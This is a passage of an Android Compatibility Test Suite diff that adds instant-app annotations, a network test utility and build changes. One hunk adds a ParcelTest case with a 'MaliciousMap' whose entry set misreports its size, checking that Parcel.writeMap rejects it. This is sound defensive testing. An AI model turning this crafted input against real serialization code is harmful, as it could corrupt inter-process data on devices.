diff --git a/tests/tests/net/src/android/net/rtp/cts/AudioStreamTest.java b/tests/tests/net/src/android/net/rtp/cts/AudioStreamTest.java
index 323b022..f2db6ee 100644
--- a/tests/tests/net/src/android/net/rtp/cts/AudioStreamTest.java
+++ b/tests/tests/net/src/android/net/rtp/cts/AudioStreamTest.java
@@ -17,10 +17,12 @@
 
 import android.net.rtp.AudioCodec;
 import android.net.rtp.AudioStream;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
 import java.net.InetAddress;
 
+@AppModeFull(reason = "RtpStream cannot create in instant app mode")
 public class AudioStreamTest extends AndroidTestCase {
 
     private void testRtpStream(InetAddress address) throws Exception {
diff --git a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 7277553..d823105 100644
--- a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -39,6 +39,7 @@
 import android.net.wifi.aware.WifiAwareSession;
 import android.os.Handler;
 import android.os.HandlerThread;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
 import java.util.ArrayDeque;
@@ -53,6 +54,7 @@
  * Wi-Fi Aware CTS test suite: single device testing. Performs tests on a single
  * device to validate Wi-Fi Aware.
  */
+@AppModeFull(reason = "Cannot get WifiAwareManager in instant app mode")
 public class SingleDeviceTest extends AndroidTestCase {
     private static final String TAG = "WifiAwareCtsTests";
 
diff --git a/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java b/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java
index a066ba8..2da3ffc 100644
--- a/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/ConcurrencyTest.java
@@ -29,11 +29,14 @@
 import android.net.wifi.p2p.WifiP2pManager;
 import static android.net.wifi.p2p.WifiP2pManager.WIFI_P2P_STATE_DISABLED;
 import static android.net.wifi.p2p.WifiP2pManager.WIFI_P2P_STATE_ENABLED;
+
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class ConcurrencyTest extends AndroidTestCase {
     private class MySync {
         int expectedWifiState;
diff --git a/tests/tests/net/src/android/net/wifi/cts/NsdManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/NsdManagerTest.java
index 2e2e75b..f2a2b48 100644
--- a/tests/tests/net/src/android/net/wifi/cts/NsdManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/NsdManagerTest.java
@@ -19,6 +19,7 @@
 import android.content.Context;
 import android.net.nsd.NsdManager;
 import android.net.nsd.NsdServiceInfo;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
@@ -29,6 +30,7 @@
 import java.util.List;
 import java.util.ArrayList;
 
+@AppModeFull(reason = "Socket cannot bind in instant app mode")
 public class NsdManagerTest extends AndroidTestCase {
 
     private static final String TAG = "NsdManagerTest";
diff --git a/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java b/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java
index 8a22bef..839881f 100644
--- a/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/ScanResultTest.java
@@ -25,9 +25,11 @@
 import android.net.wifi.ScanResult;
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiManager.WifiLock;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class ScanResultTest extends AndroidTestCase {
     private static class MySync {
         int expectedState = STATE_NULL;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java
index 4480a24..a59c85e 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiConfigurationTest.java
@@ -21,8 +21,10 @@
 import android.content.Context;
 import android.net.wifi.WifiConfiguration;
 import android.net.wifi.WifiManager;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiConfigurationTest extends AndroidTestCase {
     private  WifiManager mWifiManager;
     @Override
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
index d3235da..77a2583 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiEnterpriseConfigTest.java
@@ -23,6 +23,7 @@
 import android.net.wifi.WifiEnterpriseConfig.Eap;
 import android.net.wifi.WifiEnterpriseConfig.Phase2;
 import android.net.wifi.WifiManager;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
 import java.io.ByteArrayInputStream;
@@ -32,6 +33,7 @@
 import java.security.cert.X509Certificate;
 import java.security.spec.PKCS8EncodedKeySpec;
 
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiEnterpriseConfigTest extends AndroidTestCase {
     private  WifiManager mWifiManager;
 
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
index 5983cb7..a05646e 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
@@ -26,12 +26,14 @@
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiManager.WifiLock;
 import android.net.wifi.WifiSsid;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
 import com.android.compatibility.common.util.PollingCheck;
 
 import java.util.concurrent.Callable;
 
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiInfoTest extends AndroidTestCase {
     private static class MySync {
         int expectedState = STATE_NULL;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 2ed0124..31c721e 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -33,6 +33,7 @@
 import android.net.wifi.hotspot2.pps.Credential;
 import android.net.wifi.hotspot2.pps.HomeSp;
 import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
 import android.test.AndroidTestCase;
 import android.util.Log;
@@ -49,6 +50,7 @@
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicInteger;
 
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiManagerTest extends AndroidTestCase {
     private static class MySync {
         int expectedState = STATE_NULL;
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java
index 3cdd56a..f7efe4c 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManager_WifiLockTest.java
@@ -19,8 +19,10 @@
 import android.content.Context;
 import android.net.wifi.WifiManager;
 import android.net.wifi.WifiManager.WifiLock;
+import android.platform.test.annotations.AppModeFull;
 import android.test.AndroidTestCase;
 
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiManager_WifiLockTest extends AndroidTestCase {
 
     private static final String WIFI_TAG = "WifiManager_WifiLockTest";
diff --git a/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java
index 74a0c3d..adb4ce8 100644
--- a/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/net/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -16,11 +16,10 @@
 
 package android.net.wifi.rtt.cts;
 
-import android.content.IntentFilter;
 import android.net.wifi.ScanResult;
 import android.net.wifi.rtt.RangingRequest;
 import android.net.wifi.rtt.RangingResult;
-import android.net.wifi.rtt.WifiRttManager;
+import android.platform.test.annotations.AppModeFull;
 
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
@@ -33,6 +32,7 @@
 /**
  * Wi-Fi RTT CTS test: range to all available Access Points which support IEEE 802.11mc.
  */
+@AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 public class WifiRttTest extends TestBase {
     // Number of scans to do while searching for APs supporting IEEE 802.11mc
     private static final int NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP = 2;
diff --git a/tests/tests/net/util/Android.bp b/tests/tests/net/util/Android.bp
new file mode 100644
index 0000000..1f94613
--- /dev/null
+++ b/tests/tests/net/util/Android.bp
@@ -0,0 +1,25 @@
+//
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+// Common utilities for cts net tests.
+java_library {
+    name: "cts-net-utils",
+    srcs: ["java/**/*.java", "java/**/*.kt"],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "junit",
+    ],
+}
\ No newline at end of file
diff --git a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
new file mode 100644
index 0000000..e19d2ba
--- /dev/null
+++ b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
@@ -0,0 +1,353 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.net.cts.util;
+
+import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
+import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.ConnectivityManager;
+import android.net.ConnectivityManager.NetworkCallback;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.NetworkInfo;
+import android.net.NetworkInfo.State;
+import android.net.NetworkRequest;
+import android.net.wifi.WifiManager;
+import android.system.Os;
+import android.system.OsConstants;
+import android.util.Log;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public final class CtsNetUtils {
+    private static final String TAG = CtsNetUtils.class.getSimpleName();
+    private static final int DURATION = 10000;
+    private static final int SOCKET_TIMEOUT_MS = 2000;
+
+    public static final int HTTP_PORT = 80;
+    public static final String TEST_HOST = "connectivitycheck.gstatic.com";
+    public static final String HTTP_REQUEST =
+            "GET /generate_204 HTTP/1.0\r\n" +
+                    "Host: " + TEST_HOST + "\r\n" +
+                    "Connection: keep-alive\r\n\r\n";
+    // Action sent to ConnectivityActionReceiver when a network callback is sent via PendingIntent.
+    public static final String NETWORK_CALLBACK_ACTION =
+            "ConnectivityManagerTest.NetworkCallbackAction";
+
+    private Context mContext;
+    private ConnectivityManager mCm;
+    private WifiManager mWifiManager;
+    private TestNetworkCallback mCellNetworkCallback;
+
+    public CtsNetUtils(Context context) {
+        mContext = context;
+        mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
+        mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
+    }
+
+    // Toggle WiFi twice, leaving it in the state it started in
+    public void toggleWifi() {
+        if (mWifiManager.isWifiEnabled()) {
+            Network wifiNetwork = getWifiNetwork();
+            disconnectFromWifi(wifiNetwork);
+            connectToWifi();
+        } else {
+            connectToWifi();
+            Network wifiNetwork = getWifiNetwork();
+            disconnectFromWifi(wifiNetwork);
+        }
+    }
+
+    /** Enable WiFi and wait for it to become connected to a network. */
+    public Network connectToWifi() {
+        final TestNetworkCallback callback = new TestNetworkCallback();
+        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
+        Network wifiNetwork = null;
+
+        ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
+                mCm, ConnectivityManager.TYPE_WIFI, NetworkInfo.State.CONNECTED);
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
+        mContext.registerReceiver(receiver, filter);
+
+        boolean connected = false;
+        try {
+            SystemUtil.runShellCommand("svc wifi enable");
+            // Ensure we get both an onAvailable callback and a CONNECTIVITY_ACTION.
+            wifiNetwork = callback.waitForAvailable();
+            assertNotNull(wifiNetwork);
+            connected = receiver.waitForState();
+        } catch (InterruptedException ex) {
+            fail("connectToWifi was interrupted");
+        } finally {
+            mCm.unregisterNetworkCallback(callback);
+            mContext.unregisterReceiver(receiver);
+        }
+
+        assertTrue("Wifi must be configured to connect to an access point for this test.",
+                connected);
+        return wifiNetwork;
+    }
+
+    /** Disable WiFi and wait for it to become disconnected from the network. */
+    public void disconnectFromWifi(Network wifiNetworkToCheck) {
+        final TestNetworkCallback callback = new TestNetworkCallback();
+        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
+        Network lostWifiNetwork = null;
+
+        ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
+                mCm, ConnectivityManager.TYPE_WIFI, NetworkInfo.State.DISCONNECTED);
+        IntentFilter filter = new IntentFilter();
+        filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
+        mContext.registerReceiver(receiver, filter);
+
+        // Assert that we can establish a TCP connection on wifi.
+        Socket wifiBoundSocket = null;
+        if (wifiNetworkToCheck != null) {
+            try {
+                wifiBoundSocket = getBoundSocket(wifiNetworkToCheck, TEST_HOST, HTTP_PORT);
+                testHttpRequest(wifiBoundSocket);
+            } catch (IOException e) {
+                fail("HTTP request before wifi disconnected failed with: " + e);
+            }
+        }
+
+        boolean disconnected = false;
+        try {
+            SystemUtil.runShellCommand("svc wifi disable");
+            // Ensure we get both an onLost callback and a CONNECTIVITY_ACTION.
+            lostWifiNetwork = callback.waitForLost();
+            assertNotNull(lostWifiNetwork);
+            disconnected = receiver.waitForState();
+        } catch (InterruptedException ex) {
+            fail("disconnectFromWifi was interrupted");
+        } finally {
+            mCm.unregisterNetworkCallback(callback);
+            mContext.unregisterReceiver(receiver);
+        }
+
+        assertTrue("Wifi failed to reach DISCONNECTED state.", disconnected);
+
+        // Check that the socket is closed when wifi disconnects.
+        if (wifiBoundSocket != null) {
+            try {
+                testHttpRequest(wifiBoundSocket);
+                fail("HTTP request should not succeed after wifi disconnects");
+            } catch (IOException expected) {
+                assertEquals(Os.strerror(OsConstants.ECONNABORTED), expected.getMessage());
+            }
+        }
+    }
+
+    public Network getWifiNetwork() {
+        TestNetworkCallback callback = new TestNetworkCallback();
+        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
+        Network network = null;
+        try {
+            network = callback.waitForAvailable();
+        } catch (InterruptedException e) {
+            fail("NetworkCallback wait was interrupted.");
+        } finally {
+            mCm.unregisterNetworkCallback(callback);
+        }
+        assertNotNull("Cannot find Network for wifi. Is wifi connected?", network);
+        return network;
+    }
+
+    public Network connectToCell() throws InterruptedException {
+        if (cellConnectAttempted()) {
+            throw new IllegalStateException("Already connected");
+        }
+        NetworkRequest cellRequest = new NetworkRequest.Builder()
+                .addTransportType(TRANSPORT_CELLULAR)
+                .addCapability(NET_CAPABILITY_INTERNET)
+                .build();
+        mCellNetworkCallback = new TestNetworkCallback();
+        mCm.requestNetwork(cellRequest, mCellNetworkCallback);
+        final Network cellNetwork = mCellNetworkCallback.waitForAvailable();
+        assertNotNull("Cell network not available. " +
+                "Please ensure the device has working mobile data.", cellNetwork);
+        return cellNetwork;
+    }
+
+    public void disconnectFromCell() {
+        if (!cellConnectAttempted()) {
+            throw new IllegalStateException("Cell connection not attempted");
+        }
+        mCm.unregisterNetworkCallback(mCellNetworkCallback);
+        mCellNetworkCallback = null;
+    }
+
+    public boolean cellConnectAttempted() {
+        return mCellNetworkCallback != null;
+    }
+
+    private NetworkRequest makeWifiNetworkRequest() {
+        return new NetworkRequest.Builder()
+                .addTransportType(NetworkCapabilities.TRANSPORT_WIFI)
+                .build();
+    }
+
+    private void testHttpRequest(Socket s) throws IOException {
+        OutputStream out = s.getOutputStream();
+        InputStream in = s.getInputStream();
+
+        final byte[] requestBytes = HTTP_REQUEST.getBytes("UTF-8");
+        byte[] responseBytes = new byte[4096];
+        out.write(requestBytes);
+        in.read(responseBytes);
+        assertTrue(new String(responseBytes, "UTF-8").startsWith("HTTP/1.0 204 No Content\r\n"));
+    }
+
+    private Socket getBoundSocket(Network network, String host, int port) throws IOException {
+        InetSocketAddress addr = new InetSocketAddress(host, port);
+        Socket s = network.getSocketFactory().createSocket();
+        try {
+            s.setSoTimeout(SOCKET_TIMEOUT_MS);
+            s.connect(addr, SOCKET_TIMEOUT_MS);
+        } catch (IOException e) {
+            s.close();
+            throw e;
+        }
+        return s;
+    }
+
+    /**
+     * Receiver that captures the last connectivity change's network type and state. Recognizes
+     * both {@code CONNECTIVITY_ACTION} and {@code NETWORK_CALLBACK_ACTION} intents.
+     */
+    public static class ConnectivityActionReceiver extends BroadcastReceiver {
+
+        private final CountDownLatch mReceiveLatch = new CountDownLatch(1);
+
+        private final int mNetworkType;
+        private final NetworkInfo.State mNetState;
+        private final ConnectivityManager mCm;
+
+        public ConnectivityActionReceiver(ConnectivityManager cm, int networkType,
+                NetworkInfo.State netState) {
+            this.mCm = cm;
+            mNetworkType = networkType;
+            mNetState = netState;
+        }
+
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            NetworkInfo networkInfo = null;
+
+            // When receiving ConnectivityManager.CONNECTIVITY_ACTION, the NetworkInfo parcelable
+            // is stored in EXTRA_NETWORK_INFO. With a NETWORK_CALLBACK_ACTION, the Network is
+            // sent in EXTRA_NETWORK and we need to ask the ConnectivityManager for the NetworkInfo.
+            if (ConnectivityManager.CONNECTIVITY_ACTION.equals(action)) {
+                networkInfo = intent.getExtras()
+                        .getParcelable(ConnectivityManager.EXTRA_NETWORK_INFO);
+                assertNotNull("ConnectivityActionReceiver expected EXTRA_NETWORK_INFO",
+                        networkInfo);
+            } else if (NETWORK_CALLBACK_ACTION.equals(action)) {
+                Network network = intent.getExtras()
+                        .getParcelable(ConnectivityManager.EXTRA_NETWORK);
+                assertNotNull("ConnectivityActionReceiver expected EXTRA_NETWORK", network);
+                networkInfo = this.mCm.getNetworkInfo(network);
+                if (networkInfo == null) {
+                    // When disconnecting, it seems like we get an intent sent with an invalid
+                    // Network; that is, by the time we call ConnectivityManager.getNetworkInfo(),
+                    // it is invalid. Ignore these.
+                    Log.i(TAG, "ConnectivityActionReceiver NETWORK_CALLBACK_ACTION ignoring "
+                            + "invalid network");
+                    return;
+                }
+            } else {
+                fail("ConnectivityActionReceiver received unxpected intent action: " + action);
+            }
+
+            assertNotNull("ConnectivityActionReceiver didn't find NetworkInfo", networkInfo);
+            int networkType = networkInfo.getType();
+            State networkState = networkInfo.getState();
+            Log.i(TAG, "Network type: " + networkType + " state: " + networkState);
+            if (networkType == mNetworkType && networkInfo.getState() == mNetState) {
+                mReceiveLatch.countDown();
+            }
+        }
+
+        public boolean waitForState() throws InterruptedException {
+            return mReceiveLatch.await(30, TimeUnit.SECONDS);
+        }
+    }
+
+    /**
+     * Callback used in testRegisterNetworkCallback that allows caller to block on
+     * {@code onAvailable}.
+     */
+    public static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+        private final CountDownLatch mAvailableLatch = new CountDownLatch(1);
+        private final CountDownLatch mLostLatch = new CountDownLatch(1);
+        private final CountDownLatch mUnavailableLatch = new CountDownLatch(1);
+
+        public Network currentNetwork;
+        public Network lastLostNetwork;
+
+        public Network waitForAvailable() throws InterruptedException {
+            return mAvailableLatch.await(30, TimeUnit.SECONDS) ? currentNetwork : null;
+        }
+
+        public Network waitForLost() throws InterruptedException {
+            return mLostLatch.await(30, TimeUnit.SECONDS) ? lastLostNetwork : null;
+        }
+
+        public boolean waitForUnavailable() throws InterruptedException {
+            return mUnavailableLatch.await(2, TimeUnit.SECONDS);
+        }
+
+
+        @Override
+        public void onAvailable(Network network) {
+            currentNetwork = network;
+            mAvailableLatch.countDown();
+        }
+
+        @Override
+        public void onLost(Network network) {
+            lastLostNetwork = network;
+            if (network.equals(currentNetwork)) {
+                currentNetwork = null;
+            }
+            mLostLatch.countDown();
+        }
+
+        @Override
+        public void onUnavailable() {
+            mUnavailableLatch.countDown();
+        }
+    }
+}
diff --git a/tests/tests/netpermission/OWNERS b/tests/tests/netpermission/OWNERS
new file mode 100644
index 0000000..370c20c
--- /dev/null
+++ b/tests/tests/netpermission/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 31808
+include ../net/OWNERS
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
index 7d3b4c5..1799cec 100644
--- a/tests/tests/neuralnetworks/Android.mk
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -31,6 +31,7 @@
      TestMemory.cpp \
      TestTrivialModel.cpp \
      TestUnknownDimensions.cpp \
+     TestValidateModel.cpp \
      TestValidateOperations.cpp \
      TestValidation.cpp \
      TestWrapper.cpp \
diff --git a/tests/tests/notificationlegacy/Android.bp b/tests/tests/notificationlegacy/Android.bp
new file mode 100644
index 0000000..206e73a
--- /dev/null
+++ b/tests/tests/notificationlegacy/Android.bp
@@ -0,0 +1,37 @@
+// Copyright (C) 2018 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsLegacyNotificationTestCases",
+    defaults: ["cts_defaults"],
+    platform_apis: true,
+    static_libs: [
+        "androidx.test.rules",
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "junit",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+    srcs: ["src/**/*.java"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    min_sdk_version: "24",
+}
diff --git a/tests/tests/notificationlegacy/Android.mk b/tests/tests/notificationlegacy/Android.mk
deleted file mode 100644
index 8ed7af8..0000000
--- a/tests/tests/notificationlegacy/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2018 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLegacyNotificationTestCases
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-# don't include this package in any target
-LOCAL_MODULE_TAGS := optional
-
-# and when built explicitly put it in the data partition
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    androidx.test.rules \
-    junit
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_MIN_SDK_VERSION := 24
-
-include $(BUILD_CTS_PACKAGE)
\ No newline at end of file
diff --git a/tests/tests/os/src/android/os/cts/EnvironmentTest.java b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
index 4922d4a..8b6a95f 100644
--- a/tests/tests/os/src/android/os/cts/EnvironmentTest.java
+++ b/tests/tests/os/src/android/os/cts/EnvironmentTest.java
@@ -105,7 +105,12 @@
         final long maxInodes = maxsize / 4096;
         // Assuming the smallest storage would be 4GB, min # of free inodes
         // in EXT4/F2FS must be larger than 128k for Android to work properly.
-        final long minInodes = 128 * 1024;
+        long minInodes = 128 * 1024;
+        final long size4GB = 4294967296l;
+        //If the storage size is smaller than 4GB, let's consider 32k for 1GB.
+        if (maxsize < size4GB) {
+            minInodes = 32 * 1024;
+        }
 
         if (stat.f_ffree >= minInodes && stat.f_ffree <= maxInodes
             && stat.f_favail <= stat.f_ffree) {
diff --git a/tests/tests/os/src/android/os/cts/ParcelTest.java b/tests/tests/os/src/android/os/cts/ParcelTest.java
index 7645477..3715850 100644
--- a/tests/tests/os/src/android/os/cts/ParcelTest.java
+++ b/tests/tests/os/src/android/os/cts/ParcelTest.java
@@ -19,7 +19,11 @@
 import java.io.FileDescriptor;
 import java.io.Serializable;
 import java.util.ArrayList;
+import java.util.Collection;
 import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
 
 import android.content.pm.Signature;
 import android.os.BadParcelableException;
@@ -3250,4 +3254,58 @@
         } catch (RuntimeException expected) {
         }
     }
+
+    public void testMaliciousMapWrite() {
+        class MaliciousMap<K, V> extends HashMap<K, V> {
+            public int fakeSize = 0;
+            public boolean armed = false;
+
+            class FakeEntrySet extends HashSet<Entry<K, V>> {
+                public FakeEntrySet(Collection<? extends Entry<K, V>> c) {
+                    super(c);
+                }
+
+                @Override
+                public int size() {
+                    if (armed) {
+                        // Only return fake size on next call, to mitigate unexpected behavior.
+                        armed = false;
+                        return fakeSize;
+                    } else {
+                        return super.size();
+                    }
+                }
+            }
+
+            @Override
+            public Set<Map.Entry<K, V>> entrySet() {
+                return new FakeEntrySet(super.entrySet());
+            }
+        }
+
+        Parcel parcel = Parcel.obtain();
+
+        // Fake having more Map entries than there really are
+        MaliciousMap map = new MaliciousMap<String, String>();
+        map.fakeSize = 1;
+        map.armed = true;
+        try {
+            parcel.writeMap(map);
+            fail("Should have thrown a BadParcelableException");
+        } catch (BadParcelableException bpe) {
+            // good
+        }
+
+        // Fake having fewer Map entries than there really are
+        map = new MaliciousMap<String, String>();
+        map.put("key", "value");
+        map.fakeSize = 0;
+        map.armed = true;
+        try {
+            parcel.writeMap(map);
+            fail("Should have thrown a BadParcelableException");
+        } catch (BadParcelableException bpe) {
+            // good
+        }
+    }
 }
diff --git a/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java b/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
index 19bb59c..b5c2030 100644
--- a/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
+++ b/tests/tests/os/src/android/os/cts/SecurityFeaturesTest.java
@@ -72,7 +72,7 @@
     public void testPrctlDumpable() throws Exception {
         boolean userBuild = "user".equals(Build.TYPE);
         int prctl_dumpable = Os.prctl(PR_GET_DUMPABLE, 0, 0, 0, 0);
-        int expected  = userBuild ? 0 : 1;
+        int expected = userBuild ? 0 : 1;
         assertEquals(expected, prctl_dumpable);
     }
 }
diff --git a/tests/tests/permission/sdk28/AndroidTest.xml b/tests/tests/permission/sdk28/AndroidTest.xml
index a4775d6..7d100d7 100644
--- a/tests/tests/permission/sdk28/AndroidTest.xml
+++ b/tests/tests/permission/sdk28/AndroidTest.xml
@@ -17,6 +17,8 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="not-shardable" value="true" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsPermissionTestCasesSdk28.apk" />
diff --git a/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java b/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
index 4d44f55..99e6e4b 100644
--- a/tests/tests/permission/src/android/permission/cts/TelephonyManagerPermissionTest.java
